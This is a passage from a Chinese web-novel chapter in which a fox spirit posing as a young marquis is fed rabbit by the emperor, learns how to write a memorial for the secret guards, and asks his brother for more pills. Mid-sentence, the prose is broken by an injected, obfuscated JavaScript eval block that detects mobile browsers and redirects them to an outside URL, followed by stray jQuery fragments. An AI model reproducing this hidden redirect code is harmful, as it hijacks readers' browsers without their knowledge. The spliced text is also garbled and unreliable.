他现在可是肩负营救白狐狸的重任,必须真正打入暗卫内部,绝对不能游离在外! 安稚舒心头涌上一股紧迫感。 他回去必须得好好请教一下裴竣,问清楚暗卫目前调查重点了!这样下次再去找麻雀,才能挖出真正有价值的东西! 明确了下一步的计划,小狐狸的心情又好了起来。 他在林间小径上蹦蹦跳跳地往回跑。 “又看见你了。” 前方一颗粗壮的树后,突然毫无预兆窜出一个人影,明显带着逗弄的意味,故意发出声音吓狐狸! !!! 安稚舒尾巴毛一炸,本能地一个急转弯,头也不回地拔腿就跑,“嗖”地一下躲到一块石头后面,这才惊魂未定地探出半个毛绒绒的脑袋,看向那个人。 居然又是商缙言! 怎么又被他撞见了!!! 狐真是吃了出门不看黄历的亏。 安稚舒心里哀嚎,随即又升起一丝侥幸。 他今天可没带任何银饰品! 而且人类看狐狸不都长得差不多嘛? 他当即决定假装不认识商缙言,立刻开溜。 然而安稚舒刚有动作,商缙言带笑的声音便传了过来:“别跑了狐大仙,我们上次不是在后山见过吗?” 正准备蹿出去的小狐狸动作猛地僵住,从石头后面再次慢慢探出脑袋:? 狐大仙?谁?我吗? 开天辟地头一遭! 安稚舒这辈子,被人喊过“小畜生”、“妖怪”,可“大仙”这称呼,也太抬举狐了! 怪不好意思的。 商缙言见他这幅模样,也是一愣,忍不住嘀咕:“咦?你居然还能听懂我说话?” 这里的狐狸都这么拟人化吗? 安稚舒暗叫不好,连忙垂下耳朵,装作什么都没听懂的样子。 商缙言盯着他看了几秒,忽然蹲下来,朝小狐狸伸出手,嘬嘬嘬地喊:“小宝宝,过来呀……别怕,朕带你去吃点好吃的,好不好?” 安稚舒:? 轻浮! 怎么会如此轻浮! 小狐狸被这声突如其来的“宝宝”吓得外焦里嫩,震惊地瞪圆了眼睛。 他顾不上装傻,四爪并用飞快逃窜出去。 他才没有这么傻,自己送上门! 不过,安稚舒并没有跑远。 在确定拉开一段安全距离后,小狐狸又悄悄地绕了回来,躲在灌木后面,竖起尖尖的耳朵,偷偷关注商缙言那边的动静。 只见商缙言对他的逃跑并不意外,也没追上来,对着身后不远处的蔡汶道:“今日膳房不是备了些新鲜兔肉?去,切一小块最嫩的,用白水煮熟,什么都不要放,然后放到这颗树下。” 蔡汶脸上的表情比狐狸还震惊:“陛下,上次那只白狐狸已经……这次还要……” 小狐狸耳朵抖了抖。 已经什么?商缙言对白狐狸做了什么? 可惜,蔡汶的话还没说完,声音便低了下去,听不真切。 只见商缙言摆了摆手,似乎说了句什么,便带着蔡汶回禅院了。 安稚舒心里像被猫爪挠过一样,好奇得不行。但他按捺住了跟上去的冲动,继续耐心潜伏。 不多时,蔡汶端着一个巴掌大的白瓷小碟,鬼鬼祟祟地溜了出来。 他四下张望一番,确认无人,才快步走到树下,将白瓷碟小心放在雪地上。 碟子里,是一小块冒着丝丝热气的兔肉。 做完这一切,蔡汶又跟做贼似的,匆匆离开。 雪地上只剩下那碟孤零零的兔肉。 小狐狸从灌木丛后探出脑袋,紧紧盯着那盘兔肉,要将可怜的肉块盯出两个洞来。 人类皇帝特意给一只狐狸投喂食物? 他才不信天下有这么好的事! 这肉里肯定有毒! 小狐狸内心警铃大作,眼睛一遍又一遍地瞟向那碟兔肉。 挣扎了许久,小狐狸终于溜了出来,小心翼翼地靠近兔肉,并围着兔肉打转。 嗯……从外表看,好像没什么特别。 小狐狸停下脚步,仔细地嗅了嗅。 也没有任何奇怪的味道。 狐狸尾巴在身后不安分地甩来甩去。 终于,在对着兔肉进行了长达一盏茶的审视后,小狐狸伸出粉嫩嫩的舌头,飞快地舔了一下兔肉边缘。 没有任何不适。 安稚舒胆子大了起来,将那块不大的兔肉整个叼了起来,三下五除二嚼吧嚼吧,迅速咽了下去。 并且保持高度警惕,仔细感受身体内部的异样。 没有。 什么都没有。 甚至没死。 这居然真的只是一盘再正常不过的兔肉! 17.狐要一千颗药丸 兔肉的肉质鲜嫩,虽然寡淡,但对于一只常年需要自己捕猎的小狐狸来说,已经是难得的美味。 小狐狸忍不住舔了舔嘴角残留的肉汁,意犹未尽地咂吧咂吧嘴。 他站在雪地里,看着被自己吃得空荡荡的白瓷碟,脑子里充满了巨大的困惑。 商缙言到底想干什么? 在当野狐狸的那些年,安稚舒不是没遇到过向狐狸投喂食物的人类。可那些食物要么是毒饵,要么是夹了令狐昏迷的药物,最终目的都是抓住它们,消灭它们。 这还是安稚舒头一回见到有人给他投喂没有加料的食物。 可是刚才商缙言又喊他“宝宝”耶…… 小狐狸想得脑子都要打结了。他隐隐约约能感觉到,商缙言对狐狸……似乎是抱着一种异于常人的温和态度。 取消狐祭是事实,今天这碟兔肉也是事实。 难道…… 一个念头猛地窜进脑海里。 这个人,莫非是在享受一种更高明的诱捕过程?先用一点小恩小惠来降低狐狸的警惕,吸引他一步步靠近,等他彻底放松,再给予致命一击? 没错,一定是这样! 狐是绝对不会上这种当的! 这个念头一旦清晰起来,安稚舒更觉得心里毛毛的,仿佛暗处有无数双眼睛正在盯着自己。 他不敢再多待,甩了甩脑袋,飞快地撒开四爪,一溜烟跑开了。 每次都不涨教训,每次变成狐狸都会被商缙言发现。 下次如非必要,是万不能再变成狐狸了。 安稚舒找了个角落变回人形,整理好衣冠,深吸几口气平复心绪,然后才开始寻找他的直属上司裴竣。 暗卫们神出鬼没,行踪难定。他像个无头苍蝇似的在禅院里转了好几圈,仰着脖子四处张望,终于在一处厢房的房梁上,瞥见了一角深色衣料。 “裴大人?”少年试探着朝上面喊了一声。 房梁上正偷懒啃芝麻酥饼的裴竣动作一顿,低头向下看来。 与此同时,看似空荡的房梁阴影里,竟稀里哗啦地冒出了好几个暗卫脑袋,全在好奇地打量下方这位新来的同僚。 安稚舒:…… 他默默数了数,至少五个。 这房梁真结实啊。 裴竣将剩下的半块酥饼迅速塞进怀里,无声无息地从房梁上飘落,稳稳站在安稚舒面前。 房梁上那些好奇的脑袋有稀里哗啦地缩了回去,瞬间恢复了空无一人的假象。 安稚舒突然发现变成狐狸还经常被商缙言抓包的自己,来当暗卫确实有点不够格了。 裴竣见到他,脸上罕见地露出一丝讶异:“小侯爷这么快就回来了?” 安稚舒用了早膳才出门,这才不到晌午。 “是打探到了一点消息。”安稚舒含糊地避开自己依靠小鸟完成任务的过程,“只是拿不准哪些陛下当前需要的,就想着先回来问问。” 裴竣点了点头,语气公事公办:“无妨,小侯爷将打听到的事情整理写成奏章,呈给陛下御览便是,陛下自有圣裁。” 安稚舒听他这语气,感觉似乎并未将自己的成果太当回事,好像只是走个过场,心里有点闷闷不乐。 不过转念一想,自己才当暗卫半天,在裴竣看来,恐怕确实也打探不到什么真正有价值的东西。 小狐狸默默把自己哄好,问起具体流程:“好吧,那奏章要如何写?写完了是直接拿给陛下吗?” 裴竣一板一眼地交代:“格式不必过于拘泥,也无需引经据典、写得太过高深晦涩,尽量直白明了,有一说一即可,否则陛下看不懂。” 看不懂? 安稚舒心想,以自己的水平,想写高深也写不出来。 裴竣补充:“字也要写得稍微大一些,清晰些。前段时日有位大人将奏章写得密密麻麻,陛下看也不看,直接打回去让他重写了好几回。” 安稚舒默默点头。 好,字要大,要清楚。 裴竣最后道:“暗卫的奏章不必再走内阁转呈,小侯爷写完后,直接拿去面呈陛下即可。” 安稚舒想到刚刚以狐身被商缙言撞见,还被叫了“小宝宝”,心里就有点犯怵,脸上不自觉露出点犹豫。 还要亲自送过去啊…… 裴竣见状,以为他是畏惧天威,犹豫了一下,主动宽慰道:“小侯爷不必过于紧张,陛下其实挺好说话的。” 他想了想,补充道:“对底下人都很大方,经常会……嗯,涨工资。” “涨工资?”安稚舒又捕捉到一个商缙言式的奇怪词汇,困惑地眨眨眼。 裴竣解释道:“就是增发俸禄的意思。” 安稚舒小声嘀咕:“陛下说话,一直这么奇怪吗?”行事作风也不似以往的皇帝,总是冒出些让人听不懂的词。 裴竣沉默片刻,似乎在回忆:“陛下自小言语便与常人有些不同。蔡公初来伺候陛下时,也曾不习惯,私下问过臣类似的话。臣起初也是不适应的,后来就好多了。” 安稚舒心里平衡了些。 原来不是他一个人觉得商缙言说话怪! 他不禁又想起从麻雀那听来的传言,商缙言自小就不受先帝和太后的喜爱。 难道是因为他说话奇怪,想法也与众不同,才不被父母接纳吗? 小狐狸越想越觉得复杂,对商缙言这个人除了原有的警惕,又添上了一丝好奇。 不过眼下有更实际的问题。 方才那块兔肉顶多算打打牙祭,这会儿肚子又饿了。 吃饱了饭,才有力气写奏章。 安稚舒回到自己的厢房,变相从钱焕嘴里打听出,今日午膳果然有新鲜的兔肉。 清炖兔汤、红烧兔肉、麻辣兔丁…… 小狐狸眼巴巴地让钱焕去传膳。 屋内炭火烧得正旺,暖意融融。 钱焕一边伺候他解下披风,一边笑着问:“小侯爷是如何知晓今日膳房备了兔肉的?” 当然是因为提前吃过了。 安稚舒只含糊道:“陛下答应过要给我吃兔肉的呀,而且我刚路过膳房附近,好像闻到香味了。” 说完,自己先有点心虚地摸了摸鼻子。 钱焕连声夸赞小侯爷嗅觉敏锐,夸得安稚舒脸红耳热,随后边张罗着传膳。 午膳颇为丰盛,其中果然有一道精心烹制的红烧兔肉。安稚舒吃的心满意足,将那碟兔肉扫荡一空。 用罢午膳,钱焕却又提了个小巧的竹编笼子进来。 笼子里,一只圆滚滚的兔子正瑟缩在角落,长长的耳朵紧紧贴在背上。 安稚舒瞥了一眼:“这是做什么?” 钱焕脸上带着殷勤的笑,将笼子放在桌上:“回小侯爷,这是陛下特意吩咐奴婢,去挑了只最精神的活兔子。陛下觉得您年纪小,或许会喜欢,让奴婢抱过来给您逗弄解闷。” 那兔子对天敌的气息极其敏感,隔着笼子还被吓得浑身发抖,圆滚滚的身子拼命往角落缩,只留下一个瑟瑟发抖的圆屁股对着安稚舒,坚决不肯转身。 安稚舒看着那只兔子,脸颊微微有些发热。 这是在干什么呀?真把他当小孩子哄了吗? 小狐狸略微有些出神,只觉得心里乱糟糟的。 商缙言在对待人的时候,心思确实细腻周到,送的东西往往也能送到人心坎上,当然,如果这只兔子是做熟了的话,他会更满意。 可是,对人好,不代表对狐也好。 就像他的父亲,曾经也对他的母亲温言软语,百般承诺,可一旦知晓母亲是狐妖,所有的温情瞬间化为杀意。 人都是这样。 安稚舒心理略微有些沉重,走到桌边,隔着竹笼,伸出手指,轻轻戳了戳兔子毛绒绒的后背。 兔子猛地一颤,抖得更厉害了。 钱焕在一旁看着,连忙拿起一片鲜嫩的菜叶子,凑到笼子边,试图引诱兔子转身面对安稚舒。 可他使出浑身解数晃动菜叶,那只兔子仿佛铁了心似的,就是死死用屁股背对着外面。 甚至当他试着轻轻转动笼子,那兔子反应极快,四爪牢牢扒住笼底,身体也跟着同步旋转,丝毫不给安稚舒面子。 钱焕有些尴尬地放下菜叶,解释道:“这只兔子胆子实在是太小了些。侯爷恕罪,待奴婢这几日再去寻寻,看有没有更大胆的兔子。” 奇怪了,这兔子刚才分明不这样啊…… “不用啦。”安稚舒收回手,声音乖乖的,“不用那么麻烦,把这只兔子送回膳房去吧。” 钱焕瞧着他这模样,心底一软,忍不住感慨。 小侯爷是真乖啊。 小狐狸没有玩弄食物的癖好,他寻了个借口支开殷勤伺候的钱焕,待房门合上,才慢吞吞踱步到书案前,看着一旁研好的墨,小脸微微皱了起来。 真讨厌写字。 安稚舒才脱盲不久, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124451|195345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 握笔姿势略微笨拙,写起字来又慢又费力,远不如用爪子刨雪来得顺手自在。 他磨磨蹭蹭坐下,摊平纸张,拿起笔,犹豫着,迟迟不肯落下。 将自己努力哄了半天,终于蘸了墨,屏息凝神,极其缓慢地写下一个勉强能辨认的字。 写完这一个字,安稚舒立刻放下笔,长长舒了口气,开始心安理得地休息。摸摸砚台,拿起镇纸看花纹,又拨弄这笔架上的流苏,怎么都坐不安稳。 好半晌,他才又哄着自己重新拿起笔,艰难地写下第二个字,写完目光又飘向窗外,开始光明正大地放空。 窗外还是覆满厚雪,这几日安稚舒特意交代了宫人不必清扫。 突然,院子角落熟悉的那个雪堆,顶部又又又动了一下。 安稚舒:? 那雪堆又动了一下,这次更明显,落下好些雪粒。 安稚舒站起身,悄无声息地挪到窗边,扒着窗棂往外瞧。 格外熟悉的场景,雪堆顶端的雪被顶开,一个白色狐狸脑袋小心翼翼探了出来,左右张望了一下。 安稚舒:…… 这次不是二叔了,是安茗。 他悄悄将窗户推开一条缝,安茗三两下跑过来,试图顺着窗缝钻进屋里…… 太胖,卡住了。 安稚舒忙将窗户开得更大一些。 胖狐狸废了半天劲,终于爬了进来,环视一圈安稚舒的居住环境,张开嘴—— 安稚舒抢答:“避宠!” 安茗:…… 白狐狸张开的嘴巴僵住了。 他还没开始说呢! 安茗语气有点讪讪的:“我还以为你早把这事儿忘到九霄云外去了呢。瞧瞧,又是搬进皇帝眼皮子底下的大厢房,又是当上了暗卫狐……” 安稚舒有点委屈:“没忘呢。” 看这架势,这回是安茗打架打赢了。 安稚舒已经掌握两只狐狸的话术,再次抢答:“放心吧阿哥,我这次一定会好好临机应变,不会再出错的!” 他上次固宠就很成功,还成为了暗卫呢! 小狐狸又充满了信心。 安茗也一口气堵在胸口,上不去下不来。所有准备好的叮嘱都被堵了回去。 他等着眼前这个一脸“我很懂事快夸我”的小红狐狸,半晌才干巴巴道:“……你明白就好,省得我下次再冒着被发现的风险,偷偷摸摸跑来找你,你可有什么要紧事同族里说的?我帮你传话。” 安稚舒满脸疑惑,小声地说:“下回真不用冒险过来,我又没被陛下囚禁,白日里若是想回去,还是能回的呀……” 安茗被噎了一下,尾巴耷拉下来一点,没好气道:“得,合着我这次就是白来一趟,白挨冻了呗。” “没有没有。”安稚舒连忙摆手,像是想起了什么,“没白来,阿哥,前日我回去的时候你不在,正好有件事想找你呢。” 他凑近了些,心虚地说:“就是……上回你给我的那个药丸,我给吃掉了,能再带点过来给我吗?” “药丸?”安茗愣了一下,随即反应过来是那颗“欢好时能不那么疼”的珍贵药丸。 白狐狸惊得声都拔高了一个调:“你吃完了?!一整颗都吃了?” 不是吧?!安稚舒这才搬过来跟皇帝住了多久?上次不是侥幸躲过侍寝了吗? 难道……难道这次还是没躲过去?而且听这意思,还不止一次?所以药才需要补充?! 安茗的眼神顿时变得极其复杂。 过了好半晌,他才消化了这件事,沉重开口道:“好,我回去找你阿爹问问,看看还有没有存货。” 安稚舒闻言,蹙着眉想了想,得寸进尺地提出:“那能不能再多拿几颗呀?一颗不太够用。” 一颗哪够啊?得多备点! 安茗狐脸一抽:“你想要几颗?你阿爹那儿恐怕也没多少……” 安稚舒却已经低下头,开始认真地掰着手指头算起来。 那药丸吃起来味道真的很不错,还有点开胃,以他对自己的了解,药丸一旦到手,肯定忍不住要先偷偷吃几颗尝尝的。 肯定要翻个倍,留一些真正应急的,万一陛下需求会比较旺盛呢? 算了半天,小狐狸心里已经有了一个合理的数目,他矜持地对安茗说道:“就先拿个一千颗吧。” 安茗:……??? 安茗失声尖叫:“一千颗?你和皇帝一天做七次吗?!”